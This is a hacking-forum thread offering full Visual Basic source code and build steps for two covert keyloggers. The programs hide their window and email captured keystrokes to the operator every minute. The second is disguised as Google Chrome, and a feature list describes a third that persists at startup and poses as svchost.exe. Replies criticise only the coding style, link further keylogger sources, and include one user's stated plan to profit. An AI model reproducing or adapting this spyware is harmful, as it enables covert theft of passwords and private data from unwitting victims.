Sinisterly
[ADVANCED] Keylogger Source + Tutorial! - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: [ADVANCED] Keylogger Source + Tutorial! (/Thread-ADVANCED-Keylogger-Source-Tutorial)

Pages: 1 2


[ADVANCED] Keylogger Source + Tutorial! - 0M4R - 07-21-2016

I am making this thread for those who want to learn how to make a keylogger, below will be a tutorial on a simple keylogger and also an advanced one, well semi-advanced. There is a highly advanced one that i have been working on, however that is to complex to explain over a thread.

Simple Barebones Keylogger:

Spoiler:

1. So, first open up visual studio and create a visual basic project.
2. Add two timers on form1. Enable timer1 and set the interval to 60000 (60000 = 1 minute) or what ever you want. This will be the time it takes to send each log.
3. Enable timer2 and set interval to 5.
4. Add a textbox and set it to multiline.
5. Set form1 'formborderstyle' to 'none'.
6. Now double click anywhere on the form and paste in the code from below.
7. Adjust the code to your needs and debug it.

Code:
'This is just the barebones of a keylogger to start you off to make better ones. 'BUGS: 'Doesn't record all keys such as 'ctrl' 'Can't hide it once you make it visible by pressing ctrl + alt + H x2 'Probably more bugs Option Strict On Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) 'this timer basically sends the email with the logs... 'set this to true and interval to how many minutes u have to wait to get the emails sent to u 'e.g. 60000 for every 1 min the logs get sent to u, 600000 every 10 min the logs get sent to u Try Dim smtpserver As New SmtpClient smtpserver.EnableSsl = True Dim mail As New MailMessage smtpserver.Credentials = New Net.NetworkCredential("email", "password") smtpserver.Port = 587 smtpserver.Host = "smtp.live.com" mail = New MailMessage mail.From = New MailAddress("email") mail.To.Add("email") mail.Subject = ("New keylogger logs!") mail.Body = TextBox1.Text smtpserver.Send(mail) Catch ex As Exception Me.Close() End Try End Sub Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer2.Tick 'set this timer to enabled = true and interval 5 Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 90 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If i = 13 Then key = vbNewLine Exit For End If Next i If key <> Nothing Then If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then TextBox1.Text &= key Else TextBox1.Text &= key.ToLower End If End If 'ctrl + alt + H x2 to make the keylogger visible. If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then Me.Visible = True End If End Sub Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As FormClosedEventArgs) Handles Me.FormClosed 'basically just adds a new line and tells u when it was stopped at an shizz TextBox1.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine End Sub Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load 'disables all that good stuff so its basically hidden from the user... Me.ShowInTaskbar = False Me.ShowIcon = False Me.Visible = False TextBox1.Text = "keylogger started at: " & Now & vbNewLine End Sub End Class




Semi-Advanced Keylogger:

Spoiler:

Similar steps to the first keylogger^^

1. So, first open up visual studio and create a visual basic project.
2. Add two timers on form1. Enable timer1 and set the interval to 60000 (60000 = 1 minute) or what ever you want. This will be the time it takes to send each log.
3. Enable timer2 and set interval to 5.
4. Rename 'timer1' to 'timeremail' and 'timer2' to 'timerkeys'.
5. Add a textbox and set it to multiline. Rename to 'tblog'.
6. Set form1 'formborderstyle' to 'none' and change opacity to 0%.
7. Rename 'form1.vb' to 'Google Chrome.vb'. You can also change the logo in 'My Project', and also the logo of the form.
7. Now double click anywhere on the form and paste in the code from below.
8. Adjust the code to your needs and debug it.

Code:
'More advanced than the previous. 'Records all keys i think? Also logs in capitals + lowercase. Tells you if user backspaced. 'ERR can't make this keylogger visible by pressing key combos. 'Named Google Chrome With Logo to be inconspicuous. 'BUGS: 'Logs keys such as 'End' or 'Home' as 'Esc(some number)' Option Strict On Imports System.Net.Mail Public Class Google_Chrome Dim result As Integer Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Short Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Int32) As Short Public Function GetCapslock() As Boolean ' Return Or Set the Capslock toggle. GetCapslock = CBool(GetKeyState(&H14) And 1) End Function Public Function GetShift() As Boolean ' Return Or Set the Capslock toggle. GetShift = CBool(GetAsyncKeyState(&H10)) End Function Private Sub Timerkeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timerkeys.Tick 'Dim result As Integer 'Dim key As String 'Dim i As Integer 'For i = 2 To 90 ' result = 0 ' result = GetAsyncKeyState(i) ' If result = -32767 Then ' key = Chr(i) ' If i = 13 Then key = vbNewLine ' Exit For ' End If 'Next i 'If key <> Nothing Then ' If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then ' tblog.Text &= key ' Else ' tblog.Text &= key.ToLower ' End If 'End If For i As Integer = 1 To 225 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then If GetCapslock() = True And GetShift() = True Then Select Case (i) Case 192 tblog.Text = tblog.Text + "~" Case 1 'tblog.Text = tblog.Text + "[Left Mouse Click]" Case 64 To 90 tblog.Text = tblog.Text + Chr(i).ToString.ToLower Case 97 To 122 tblog.Text = tblog.Text + Chr(i).ToString.ToLower Case 32 tblog.Text = tblog.Text + " " Case 48 tblog.Text = tblog.Text + ")" Case 49 tblog.Text = tblog.Text + "!" Case 50 tblog.Text = tblog.Text + "@" Case 51 tblog.Text = tblog.Text + "#" Case 52 tblog.Text = tblog.Text + "$" Case 53 tblog.Text = tblog.Text + "%" Case 54 tblog.Text = tblog.Text + "^" Case 55 tblog.Text = tblog.Text + "&" Case 56 tblog.Text = tblog.Text + "*" Case 57 tblog.Text = tblog.Text + "(" Case 8 tblog.Text = tblog.Text + "[BackSpace]" Case 46 tblog.Text = tblog.Text + "[Del]" Case 190 tblog.Text = tblog.Text + ">" Case 16 Case 160 To 165 Case 17 tblog.Text = tblog.Text + "[Ctrl]" Case 18 tblog.Text = tblog.Text + "[Alt]" Case 189 tblog.Text = tblog.Text + "_" Case 187 tblog.Text = tblog.Text + "+" Case 219 tblog.Text = tblog.Text + "{" Case 221 tblog.Text = tblog.Text + "}" Case 186 tblog.Text = tblog.Text + ":" Case 222 tblog.Text = tblog.Text + """" Case 188 tblog.Text = tblog.Text + "<" Case 191 tblog.Text = tblog.Text + "?" Case 220 tblog.Text = tblog.Text + "|" Case 13 tblog.Text = tblog.Text + " [Enter]" + vbNewLine Case 20 Case 91 'windows key Case 9 tblog.Text = tblog.Text + " [Tab]" Case 2 tblog.Text = tblog.Text + " [RightMouseClick]" Case 37 To 40 Case Else tblog.Text = tblog.Text + " Esc(" + i.ToString + ") " End Select End If If GetCapslock() = True And GetShift() = False Then Select Case (i) Case 91 'windows key Case 1 'tblog.Text = tblog.Text + "[Left Mouse Click]" Case 64 To 90 tblog.Text = tblog.Text + Chr(i) Case 97 To 122 tblog.Text = tblog.Text + Chr(i) Case 32 tblog.Text = tblog.Text + " " Case 48 To 57 tblog.Text = tblog.Text + Chr(i) Case 8 tblog.Text = tblog.Text + "[BackSpace]" Case 46 tblog.Text = tblog.Text + "[Del]" Case 190 tblog.Text = tblog.Text + "." Case 16 Case 160 To 165 Case 20 Case 192 tblog.Text = tblog.Text + "`" Case 189 tblog.Text = tblog.Text + "-" Case 187 tblog.Text = tblog.Text + "=" Case 219 tblog.Text = tblog.Text + "[" Case 221 tblog.Text = tblog.Text + "]" Case 186 tblog.Text = tblog.Text + ";" Case 222 tblog.Text = tblog.Text + "'" Case 188 tblog.Text = tblog.Text + "," Case 191 tblog.Text = tblog.Text + "/" Case 220 tblog.Text = tblog.Text + "\" Case 17 tblog.Text = tblog.Text + "[Ctrl]" Case 18 tblog.Text = tblog.Text + "[Alt]" Case 13 tblog.Text = tblog.Text + " [Enter]" + vbNewLine Case 9 tblog.Text = tblog.Text + " [Tab]" Case 2 tblog.Text = tblog.Text + " [RightMouseClick]" Case 37 To 40 Case Else tblog.Text = tblog.Text + " Esc(" + i.ToString + ") " End Select End If If GetCapslock() = False And GetShift() = True Then Select Case (i) Case 91 'windows key Case 192 tblog.Text = tblog.Text + "~" Case 1 ' tblog.Text = tblog.Text + "[Left Mouse Click]" Case 64 To 90 tblog.Text = tblog.Text + Chr(i) Case 97 To 122 tblog.Text = tblog.Text + Chr(i) Case 32 tblog.Text = tblog.Text + " " Case 48 tblog.Text = tblog.Text + ")" Case 49 tblog.Text = tblog.Text + "!" Case 50 tblog.Text = tblog.Text + "@" Case 51 tblog.Text = tblog.Text + "#" Case 52 tblog.Text = tblog.Text + "$" Case 53 tblog.Text = tblog.Text + "%" Case 54 tblog.Text = tblog.Text + "^" Case 55 tblog.Text = tblog.Text + "&" Case 56 tblog.Text = tblog.Text + "*" Case 57 tblog.Text = tblog.Text + "(" Case 8 tblog.Text = tblog.Text + "[BackSpace]" Case 46 tblog.Text = tblog.Text + "[Del]" Case 190 tblog.Text = tblog.Text + ">" Case 16 Case 160 To 165 Case 17 tblog.Text = tblog.Text + "[Ctrl]" Case 18 tblog.Text = tblog.Text + "[Alt]" Case 189 tblog.Text = tblog.Text + "_" Case 187 tblog.Text = tblog.Text + "+" Case 219 tblog.Text = tblog.Text + "{" Case 221 tblog.Text = tblog.Text + "}" Case 186 tblog.Text = tblog.Text + ":" Case 222 tblog.Text = tblog.Text + """" Case 188 tblog.Text = tblog.Text + "<" Case 191 tblog.Text = tblog.Text + "?" Case 220 tblog.Text = tblog.Text + "|" Case 13 tblog.Text = tblog.Text + " [Enter]" + vbNewLine Case 9 tblog.Text = tblog.Text + " [Tab]" Case 20 Case 2 tblog.Text = tblog.Text + " [RightMouseClick]" Case 37 To 40 Case Else tblog.Text = tblog.Text + " Esc(" + i.ToString + ") " End Select End If If GetCapslock() = False And GetShift() = False Then Select Case (i) Case 1 ' tblog.Text = tblog.Text + "[Left Mouse Click]" Case 64 To 90 tblog.Text = tblog.Text + Chr(i).ToString.ToLower Case 97 To 122 tblog.Text = tblog.Text + Chr(i).ToString.ToLower Case 32 tblog.Text = tblog.Text + " " Case 48 To 57 tblog.Text = tblog.Text + Chr(i) Case 8 tblog.Text = tblog.Text + "[BackSpace]" Case 46 tblog.Text = tblog.Text + "[Del]" Case 190 tblog.Text = tblog.Text + "." Case 16 Case 160 To 165 Case 20 Case 192 tblog.Text = tblog.Text + "`" Case 189 tblog.Text = tblog.Text + "-" Case 187 tblog.Text = tblog.Text + "=" Case 91 'windows key Case 219 tblog.Text = tblog.Text + "[" Case 221 tblog.Text = tblog.Text + "]" Case 186 tblog.Text = tblog.Text + ";" Case 222 tblog.Text = tblog.Text + "'" Case 188 tblog.Text = tblog.Text + "," Case 191 tblog.Text = tblog.Text + "/" Case 220 tblog.Text = tblog.Text + "\" Case 17 tblog.Text = tblog.Text + "[Ctrl]" Case 18 tblog.Text = tblog.Text + "[Alt]" Case 13 tblog.Text = tblog.Text + " [Enter]" + vbNewLine Case 9 tblog.Text = tblog.Text + " [Tab]" Case 2 tblog.Text = tblog.Text + " [RightMouseClick]" Case 37 To 40 Case Else tblog.Text = tblog.Text + " Esc(" + i.ToString + ") " End Select End If End If Next i End Sub Private Sub Timeremail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timeremail.Tick Try Dim smtpserver As New SmtpClient smtpserver.EnableSsl = True Dim mail As New MailMessage smtpserver.Credentials = New Net.NetworkCredential("email(sending from)", "password") smtpserver.Port = 587 smtpserver.Host = "smtp.gmail.com" mail = New MailMessage mail.From = New MailAddress("email(sending from)") mail.To.Add("email(sending to)") mail.Subject = ("New keylogger logs!") mail.Body = tblog.Text smtpserver.Send(mail) Catch ex As Exception End Try End Sub End Class




Highly Advanced Keylogger:

Spoiler:

Now for this keylogger im not going teach you how to make it as it is too complex to explain in a thread, however i will highlight some features below.

Code:
'HIGHLY ADVANCED KEYLOGGER 'Deletes browser profiles, so user is forced to log back into accounts etc. 'Copies itself to startup 'Records all key presses including special characters. 'Records all system info from ipconfig and other info like RAM/OS/USER NAME etc. 'Records location of key presses e.g. facebook.com from chrome - [https://www.facebook.com - Google Chrome] 'Records time and date and installed languages. 'Gets active window title and also records clipboard items(only text) and puts between '--->e.g. copied clipboard text<---' 'Named svchost.exe to be inconspicuous. 'Sends logs every 1 min, can change this by changing interval of timer 2 e.g. 60000 = 1 min 600000 = 10 min. 'Sends logs before form closing.




Hope it helped both pros and noobs at vb. A like would be appreciated as i took my time to make this tutorial. Thanks!


RE: [ADVANCED] Keylogger Source + Tutorial! - Wildfire - 07-21-2016

Christ...this is cancer dude. At least hook a Windows API, nothing with this timer fodder. It's not proper procedure at all.


RE: [ADVANCED] Keylogger Source + Tutorial! - Killpot - 07-21-2016

Basically, what Axari said, what you have here isn't special man, anyone can C+P a keylogger from an online source in a few minutes. And this sets a bad precedent for anyone looking to learn about keyloggers that stumble upon this thread. To anyone that fits that category, stay away from timers and Async, there are many better methods that those two.


RE: [ADVANCED] Keylogger Source + Tutorial! - 0M4R - 07-21-2016

(07-21-2016, 09:02 PM)Axari Wrote: Christ...this is cancer dude. At least hook a Windows API, nothing with this timer fodder. It's not proper procedure at all.

(07-21-2016, 09:15 PM)Killpot Wrote: Basically, what Axari said, what you have here isn't special man, anyone can C+P a keylogger from an online source in a few minutes. And this sets a bad precedent for anyone looking to learn about keyloggers that stumble upon this thread. To anyone that fits that category, stay away from timers and Async, there are many better methods that those two.

Well, this was just for the barebones of a keylogger. Just to help beginners understand.


RE: [ADVANCED] Keylogger Source + Tutorial! - Killpot - 07-21-2016

(07-21-2016, 10:00 PM)0M4R Wrote:
(07-21-2016, 09:02 PM)Axari Wrote: Christ...this is cancer dude. At least hook a Windows API, nothing with this timer fodder. It's not proper procedure at all.

(07-21-2016, 09:15 PM)Killpot Wrote: Basically, what Axari said, what you have here isn't special man, anyone can C+P a keylogger from an online source in a few minutes. And this sets a bad precedent for anyone looking to learn about keyloggers that stumble upon this thread. To anyone that fits that category, stay away from timers and Async, there are many better methods that those two.

Well, this was just for the barebones of a keylogger. Just to help beginners understand.

Yeah we get that, but it's a bad example, even if it's just "barebones". This is a good example with good coding habits, and easily scaleable. http://pastebin.com/yeqtX5pi


RE: [ADVANCED] Keylogger Source + Tutorial! - Skryptec - 07-21-2016

(07-21-2016, 11:02 PM)Killpot Wrote:
(07-21-2016, 10:00 PM)0M4R Wrote:
(07-21-2016, 09:02 PM)Axari Wrote: Christ...this is cancer dude. At least hook a Windows API, nothing with this timer fodder. It's not proper procedure at all.

(07-21-2016, 09:15 PM)Killpot Wrote: Basically, what Axari said, what you have here isn't special man, anyone can C+P a keylogger from an online source in a few minutes. And this sets a bad precedent for anyone looking to learn about keyloggers that stumble upon this thread. To anyone that fits that category, stay away from timers and Async, there are many better methods that those two.

Well, this was just for the barebones of a keylogger. Just to help beginners understand.

Yeah we get that, but it's a bad example, even if it's just "barebones". This is a good example with good coding habits, and easily scaleable. http://pastebin.com/yeqtX5pi

I am going to make a quick buck now..


RE: [ADVANCED] Keylogger Source + Tutorial! - Killpot - 07-21-2016

(07-21-2016, 11:32 PM)Skryptec Wrote:
(07-21-2016, 11:02 PM)Killpot Wrote:
(07-21-2016, 10:00 PM)0M4R Wrote: Well, this was just for the barebones of a keylogger. Just to help beginners understand.

Yeah we get that, but it's a bad example, even if it's just "barebones". This is a good example with good coding habits, and easily scaleable. http://pastebin.com/yeqtX5pi

I am going to make a quick buck now..

https://github.com/Icemantheditor/VBKeyLogger/


RE: [ADVANCED] Keylogger Source + Tutorial! - Skryptec - 07-21-2016

(07-21-2016, 11:33 PM)Killpot Wrote:
(07-21-2016, 11:32 PM)Skryptec Wrote:
(07-21-2016, 11:02 PM)Killpot Wrote: Yeah we get that, but it's a bad example, even if it's just "barebones". This is a good example with good coding habits, and easily scaleable. http://pastebin.com/yeqtX5pi

I am going to make a quick buck now..

https://github.com/Icemantheditor/VBKeyLogger/

I appreciate that, man. Smile


RE: [ADVANCED] Keylogger Source + Tutorial! - meow - 07-22-2016

This is not a tutorial. This is you copying and pasting some code and expecting beginners to understand it just because you listed the features.


RE: [ADVANCED] Keylogger Source + Tutorial! - Despised - 07-22-2016

(07-22-2016, 08:54 AM)meow Wrote: This is not a tutorial. This is you copying and pasting some code and expecting beginners to understand it just because you listed the features.
This is what would be called a spoonfed tutorial. But it lacks either way.